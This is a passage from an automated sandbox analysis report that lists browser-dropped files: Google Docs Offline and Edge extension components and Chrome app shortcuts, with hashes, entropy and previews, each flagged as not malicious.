XYUZmUHJNelRXSkJsMXlqbUlyRDZ2dzlsa1VxdzZTdjAyUk1oVkEifSx7InBhdGgiOiJfbG9jYWxlcy9iZy9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiSXJ3M3RIem9xREx6bHdGa0hjTllOWFoyNmI0WWVwT2t4ZFN

C:\Users\user\AppData\Local\Temp\scoped_dir2844_1042602302\CRX_INSTALL\dasherSettingSchema.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	854
Entropy (8bit):	4.284628987131403
Encrypted:	false
SSDEEP:	12:ont+QByTwnnGNcMbyWM+Q9TZldnnnGGxlF/S0WOtUL0M0r:vOrGe4dDCVGOjWJ0nr
MD5:	4EC1DF2DA46182103D2FFC3B92D20CA5
SHA1:	FB9D1BA3710CF31A87165317C6EDC110E98994CE
SHA-256:	6C69CE0FE6FAB14F1990A320D704FEE362C175C00EB6C9224AA6F41108918CA6
SHA-512:	939D81E6A82B10FF73A35C931052D8D53D42D915E526665079EEB4820DF4D70F1C6AEBAB70B59519A0014A48514833FEFD687D5A3ED1B06482223A168292105D
Malicious:	false
Preview:	{. "type": "object",. "properties": {. "allowedDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Allow users to enable Docs offline for the specified managed domains.",. "description": "Users on managed devices will be able to enable docs offline if they are part of the specified managed domains.". },. "autoEnabledDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Auto enable Docs offline for the specified managed domains in certain eligible situations.",. "description": "Users on managed devices, in certain eligible situations, will be able to automatically access and edit recent files offline for the managed domains set in this property. They can still disable it from Drive settings.". }. }.}.

C:\Users\user\AppData\Local\Temp\scoped_dir2844_1042602302\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2525
Entropy (8bit):	5.417833205646285
Encrypted:	false
SSDEEP:	24:1HEZ4WPoolELb/KxktGw3VwELb/4iL2QDkUpvdz1xxy/Atj1K9yiVvQe:WdP5aLTKQGwlTLT4oRvvxs/APKgiVb
MD5:	236D2DD305D64C2B6ABD232ED53270DF
SHA1:	9F6885E95FBC4213631F0B0EA49C803D07D34136
SHA-256:	2A4D526B9D1C8665427FB9E0DA58D16FDDE382DD74C1258941B18701EF7880C3
SHA-512:	B76AF22153F79BCA2429A23746A62A430A521E952E7F94936648ECFD25AFDD9801ACBF6FD16941918A4FEDE39DE747AB6C6336BC86CA74384920AF7E815DB855
Malicious:	false
Preview:	{.. "author": {.. "email": "docs-hosted-app-own@google.com".. },.. "background": {.. "service_worker": "service_worker_bin_prod.js".. },.. "content_capabilities": {.. "matches": [ "https://docs.google.com/", "https://drive.google.com/", "https://drive-autopush.corp.google.com/", "https://drive-daily-0.corp.google.com/", "https://drive-daily-1.corp.google.com/", "https://drive-daily-2.corp.google.com/", "https://drive-daily-3.corp.google.com/", "https://drive-daily-4.corp.google.com/", "https://drive-daily-5.corp.google.com/", "https://drive-daily-6.corp.google.com/", "https://drive-preprod.corp.google.com/", "https://drive-staging.corp.google.com/" ],.. "permissions": [ "clipboardRead", "clipboardWrite", "unlimitedStorage" ].. },.. "content_security_policy": {.. "extension_pages": "script-src 'self'; object-src 'self'".. },.. "default_locale": "en_US",.. "description": "__MSG_extDesc__",.. "externally_connectable": {.. "ma

C:\Users\user\AppData\Local\Temp\scoped_dir2844_1042602302\CRX_INSTALL\offscreendocument.html

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	97
Entropy (8bit):	4.862433271815736
Encrypted:	false
SSDEEP:	3:PouV7uJL5XL/oGLvLAAJR90bZNGXIL0Hac4NGb:hxuJL5XsOv0EmNV4HX4Qb
MD5:	B747B5922A0BC74BBF0A9BC59DF7685F
SHA1:	7BF124B0BE8EE2CFCD2506C1C6FFC74D1650108C
SHA-256:	B9FA2D52A4FFABB438B56184131B893B04655B01F336066415D4FE839EFE64E7
SHA-512:	7567761BE4054FCB31885E16D119CD4E419A423FFB83C3B3ED80BFBF64E78A73C2E97AAE4E24AB25486CD1E43877842DB0836DB58FBFBCEF495BC53F9B2A20EC
Malicious:	false
Preview:	<!DOCTYPE html>.<html>.<body>. <script src="offscreendocument_main.js"></script>.</body>.</html>

C:\Users\user\AppData\Local\Temp\scoped_dir2844_1042602302\CRX_INSTALL\offscreendocument_main.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3777)
Category:	dropped
Size (bytes):	98880
Entropy (8bit):	5.414989230634404
Encrypted:	false
SSDEEP:	1536:M+TW9bPq1M3ZOC0pJ/BjXf3Zk/7hry6fq66V3gr9KUw5SXfPxhZhGurH6c/V:WPLZwJJXf3ZvRV3gJKU/fP+urHRV
MD5:	DC93A1045D1AD8D7ADD06B93B2FE79E2
SHA1:	CAFCC8DB7F8E3FD2F8C1EFAC7B385D7616F55EA3
SHA-256:	D5CEB4449384CD2D7898C052B7B99417961880945FC4EAE80EBBAF8E24CC0A3E
SHA-512:	025F7103D1F7D607825BE916D0131C1E04B295EB562974A77F5A16E7BF40250B5608071779B420E4738F86F09A6F7C889469FA898268894FFFEEB7465C589E81
Malicious:	false
Preview:	'use strict';function aa(){return function(a){return a}}function ba(){return function(){}}function l(a){return function(){return this[a]}}function ca(a){return function(){return a}}var n;function da(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function fa(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=fa(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new Ty

C:\Users\user\AppData\Local\Temp\scoped_dir2844_1042602302\CRX_INSTALL\page_embed_script.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	4.65176400421739
Encrypted:	false
SSDEEP:	6:2LGX86tj66rU8j6D3bWq2un/XBtzHrH9Mnj63LK603:2Q8KVqb2u/Rt3Onj1
MD5:	3AB0CD0F493B1B185B42AD38AE2DD572
SHA1:	079B79C2ED6F67B5A5BD9BC8C85801F96B1B0F4B
SHA-256:	73E3888CCBC8E0425C3D2F8D1E6A7211F7910800EEDE7B1E23AD43D3B21173F7
SHA-512:	32F9DB54654F29F39D49F7A24A1FC800DBC0D4A8A1BAB2369C6F9799BC6ADE54962EFF6010EF6D6419AE51D5B53EC4B26B6E2CDD98DEF7CC0D2ADC3A865F37D3
Malicious:	false
Preview:	(function(){window._docs_chrome_extension_exists=!0;window._docs_chrome_extension_features_version=2;window._docs_chrome_extension_permissions="alarms clipboardRead clipboardWrite storage unlimitedStorage offscreen".split(" ");window._docs_chrome_extension_manifest_version=3;}).call(this);.

C:\Users\user\AppData\Local\Temp\scoped_dir2844_1042602302\CRX_INSTALL\service_worker_bin_prod.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3782)
Category:	dropped
Size (bytes):	107677
Entropy (8bit):	5.396220758526552
Encrypted:	false
SSDEEP:	1536:7nwyvB1qCo7mWUgsUopF5Xy4FlAwxdhvHcrdncqAKxwjBnKwIDQgrOChkPIgmrCp:wh6gstXy4FM5ncJKxCnKWgrd0v
MD5:	E8015AC436B33034EDF7DA060E853A04
SHA1:	62D0F6EB0E441158A1F56F6E0C70D3D229B57886
SHA-256:	23C953E989FF4AF6126D4A3B2AD21B33A82512FC8768045C00F05940DE2C9978
SHA-512:	C35AC8692FC22B78365CA202E173A90AE4B5DBA338B7FC9EEB17EDDF5868B52CF1D13DC0EDAF36BE1CC0E0152F41AC4027C51D7ECA27778B483E3FC83F11EA82
Malicious:	false
Preview:	'use strict';function aa(){return function(a){return a}}function ba(){return function(){}}function k(a){return function(){return this[a]}}function ca(a){return function(){return a}}var n;function da(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function fa(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=fa(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new Ty

C:\Users\user\AppData\Local\Temp\scoped_dir2844_1518198574\4af4e8d0-a35f-4e82-9482-956372ef5806.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Local\Temp\scoped_dir2844_1518198574\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1753
Entropy (8bit):	5.8889033066924155
Encrypted:	false
SSDEEP:	48:Pxpr7Xka2NXDpfsBJODI19Kg1JqcJW9O//JE3ZBDcpu/x:L3XgNSz9/4kIO3u3Xgpq
MD5:	738E757B92939B24CDBBD0EFC2601315
SHA1:	77058CBAFA625AAFBEA867052136C11AD3332143
SHA-256:	D23B2BA94BA22BBB681E6362AE5870ACD8A3280FA9E7241B86A9E12982968947
SHA-512:	DCA3E12DD5A9F1802DB6D11B009FCE2B787E79B9F730094367C9F26D1D87AF1EA072FF5B10888648FB1231DD83475CF45594BB0C9915B655EE363A3127A5FFC2
Malicious:	false
Preview:	[.. {.. "description": "treehash per file",.. "signed_content": {.. "payload": "eyJpdGVtX2lkIjoiam1qZmxnanBjcGVwZWFmbW1nZHBma29na2doY3BpaGEiLCJpdGVtX3ZlcnNpb24iOiIxLjIuMSIsInByb3RvY29sX3ZlcnNpb24iOjEsImNvbnRlbnRfaGFzaGVzIjpbeyJmb3JtYXQiOiJ0cmVlaGFzaCIsImRpZ2VzdCI6InNoYTI1NiIsImJsb2NrX3NpemUiOjQwOTYsImhhc2hfYmxvY2tfc2l6ZSI6NDA5NiwiZmlsZXMiOlt7InBhdGgiOiJjb250ZW50LmpzIiwicm9vdF9oYXNoIjoiQS13R1JtV0VpM1lybmxQNktneUdrVWJ5Q0FoTG9JZnRRZGtHUnBEcnp1QSJ9LHsicGF0aCI6ImNvbnRlbnRfbmV3LmpzIiwicm9vdF9oYXNoIjoiVU00WVRBMHc5NFlqSHVzVVJaVTFlU2FBSjFXVENKcHhHQUtXMGxhcDIzUSJ9LHsicGF0aCI6Im1hbmlmZXN0Lmpzb24iLCJyb290X2hhc2giOiJKNXYwVTkwRmN0ejBveWJMZmZuNm5TbHFLU0h2bHF2YkdWYW9FeWFOZU1zIn1dfV19",.. "signatures": [.. {.. "header": {.. "kid": "publisher".. },.. "protected": "eyJhbGciOiJSUzI1NiJ9",.. "signature": "UglEEilkOml5P1W0X6wc-_dB87PQB73uMir11923av57zPKujb4IUe_lbGpn7cRZsy6x-8i9eEKxAW7L2TSmYqrcp4XtiON6ppcf27FWACXOUJDax9wlMr-EOtyZhykCnB9vR

C:\Users\user\AppData\Local\Temp\scoped_dir2844_1518198574\CRX_INSTALL\content.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8031), with no line terminators
Category:	dropped
Size (bytes):	9815
Entropy (8bit):	6.1716321262973315
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3zEScQZBMX:+ThBVq3npozftROQIyVfjRZGB365Ey97
MD5:	3D20584F7F6C8EAC79E17CCA4207FB79
SHA1:	3C16DCC27AE52431C8CDD92FBAAB0341524D3092
SHA-256:	0D40A5153CB66B5BDE64906CA3AE750494098F68AD0B4D091256939EEA243643
SHA-512:	315D1B4CC2E70C72D7EB7D51E0F304F6E64AC13AE301FD2E46D585243A6C936B2AD35A0964745D291AE9B317C316A29760B9B9782C88CC6A68599DB531F87D59
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir2844_1518198574\CRX_INSTALL\content_new.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8604), with no line terminators
Category:	dropped
Size (bytes):	10388
Entropy (8bit):	6.174387413738973
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3EbmE1F4fn:+ThBVq3npozftROQIyVfjRZGB365Ey9+
MD5:	3DE1E7D989C232FC1B58F4E32DE15D64
SHA1:	42B152EA7E7F31A964914F344543B8BF14B5F558
SHA-256:	D4AA4602A1590A4B8A1BCE8B8D670264C9FB532ADC97A72BC10C43343650385A
SHA-512:	177E5BDF3A1149B0229B6297BAF7B122602F7BD753F96AA41CCF2D15B2BCF6AF368A39BB20336CCCE121645EC097F6BEDB94666C74ACB6174EB728FBFC43BC2A
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir2844_1518198574\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	962
Entropy (8bit):	5.698567446030411
Encrypted:	false
SSDEEP:	24:1Hg9+D3DRnbuF2+sUrzUu+Y9VwE+Fg41T1O:NBqY+6E+F7JO
MD5:	E805E9E69FD6ECDCA65136957B1FB3BE
SHA1:	2356F60884130C86A45D4B232A26062C7830E622
SHA-256:	5694C91F7D165C6F25DAF0825C18B373B0A81EA122C89DA60438CD487455FD6A
SHA-512:	049662EF470D2B9E030A06006894041AE6F787449E4AB1FBF4959ADCB88C6BB87A957490212697815BB3627763C01B7B243CF4E3C4620173A95795884D998A75
Malicious:	false
Preview:	{.. "content_scripts": [ {.. "js": [ "content.js" ],.. "matches": [ "https://chrome.google.com/webstore/" ].. }, {.. "js": [ "content_new.js" ],.. "matches": [ "https://chromewebstore.google.com/" ].. } ],.. "description": "Edge relevant text changes on select websites to improve user experience and precisely surfaces the action they want to take.",.. "key": "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu06p2Mjoy6yJDUUjCe8Hnqvtmjll73XqcbylxFZZWe+MCEAEK+1D0Nxrp0+IuWJL02CU3jbuR5KrJYoezA36M1oSGY5lIF/9NhXWEx5GrosxcBjxqEsdWv/eDoOOEbIvIO0ziMv7T1SUnmAA07wwq8DXWYuwlkZU/PA0Mxx0aNZ5+QyMfYqRmMpwxkwPG8gyU7kmacxgCY1v7PmmZo1vSIEOBYrxl064w5Q6s/dpalSJM9qeRnvRMLsszGY/J2bjQ1F0O2JfIlBjCOUg/89+U8ZJ1mObOFrKO4um8QnenXtH0WGmsvb5qBNrvbWNPuFgr2+w5JYlpSQ+O8zUCb8QZwIDAQAB",.. "manifest_version": 3,.. "name": "Edge relevant text changes",.. "update_url": "https://edge.microsoft.com/extensionwebstorebase/v1/crx",.. "version": "1.2.1"..}..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Nov 26 06:03:24 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.981254952261314
Encrypted:	false
SSDEEP:	48:8J0dhTJleHPeidAKZdA1oehwiZUklqehXy+3:8Ju/89oy
MD5:	589332134AC32CC69871D22C3187AF6B
SHA1:	E74988D4044D465FA669ADF0C2E86D17976CEEE3
SHA-256:	6B5AA84AAEAA3ECCA18D7EB3C12BFBE1D11A8EEEB1880B0F154EBD3957D4F3ED
SHA-512:	73E0F313DAAFECAE287D027F580FF471A6F6D80801DB162213377C120B3B33EE79685886ED2F92DBB9932D715810FAB979220DD2D3A11BFCFA912237B05A7B2A
Malicious:	false
Preview:	L..................F.@.. ...$+.,....&..H.?..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW)C..PROGRA~1..t......O.IzYk8....B...............J.....V...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VzYk8....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VzYk8....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VzYk8..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VzYl8...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............xE.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Nov 26 06:03:24 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	3.995541446400548
Encrypted:	false
SSDEEP:	48:87q0dhTJleHPeidAKZdA1leh/iZUkAQkqehYy+2:87qu/8X9QNy
MD5:	596E53216B3797EF051B2531A042A4E2
SHA1:	B2C8643B4B38380C834D8ECC77C1CDB64A8DC0B5
SHA-256:	0D2571904AA769ECDF10A7035EECBC46C0112A09D2D6DE5A3F6C39EAF8F42A92
SHA-512:	2872EF119E9E9C6C794C251B6E52941EFDA64B9BE7319FC59B387723D367109DC61370C405A0FE66385E8E192B5BB2F426E8994AF5804E78833B985BCC4273C1
Malicious:	false
Preview:	L..................F.@.. ...$+.,.....3.H.?..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW)C..PROGRA~1..t......O.IzYk8....B...............J.....V...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VzYk8....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VzYk8....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VzYk8..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VzYl8...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............xE.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Oct 5 07:00:51 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2693
Entropy (8bit):	4.006779869079511
Encrypted:	false
SSDEEP:	48:8c0dhTJlbHPeidAKZdA14t5eh7sFiZUkmgqeh7sWy+BX:8cu/7Hn8y
MD5:	54281E7153B67CA6BE966F933F9BB617
SHA1:	05F2904BAADCFCC1B6D67BC4671C940334E5C597
SHA-256:	A364B726F04774C5ADE45C975878936B7E0E8F009A70BDF1C015BB72A08798A2
SHA-512:	457DF48878B42C709D53040892C8654DD6F7B36F1482E9776CA1F21EC5C9FF7A0A1326B03210559A64ADF664CFC4784EBF4B73B101E88FC4055180018532A6A5
Malicious:	false
Preview:	L..................F.@.. ...$+.,.....C..b...N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW)C..PROGRA~1..t......O.IzYk8....B...............J.....V...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VzYk8....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VzYk8....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VzYk8..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VEW.@...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............xE.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Nov 26 06:03:24 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.9915637523268193
Encrypted:	false
SSDEEP:	48:8g0dhTJleHPeidAKZdA16ehDiZUkwqehky+R:8gu/8key
MD5:	3418E94C8E5F494A9A9958783685AF8C
SHA1:	73B151F826165FFC2FCB01F980A75A1126AB4C4B
SHA-256:	530FC886610AAD3B3051E7ADF6FC3673BCCE6E206A40DE703212975D9A840BFF
SHA-512:	1A085FAF22F2C9CA2A57C0579A9E17CBCD6FD7489E25FA2A023BE705F44BB0437ECFCBC341147DC2503C94883B871BF70EC68AFA54F6A15A4A2D5BA9474603EB
Malicious:	false
Preview:	L..................F.@.. ...$+.,.....o.H.?..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW)C..PROGRA~1..t......O.IzYk8....B...............J.....V...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VzYk8....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VzYk8....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VzYk8..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VzYl8...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............xE.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Nov 26 06:03:24 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
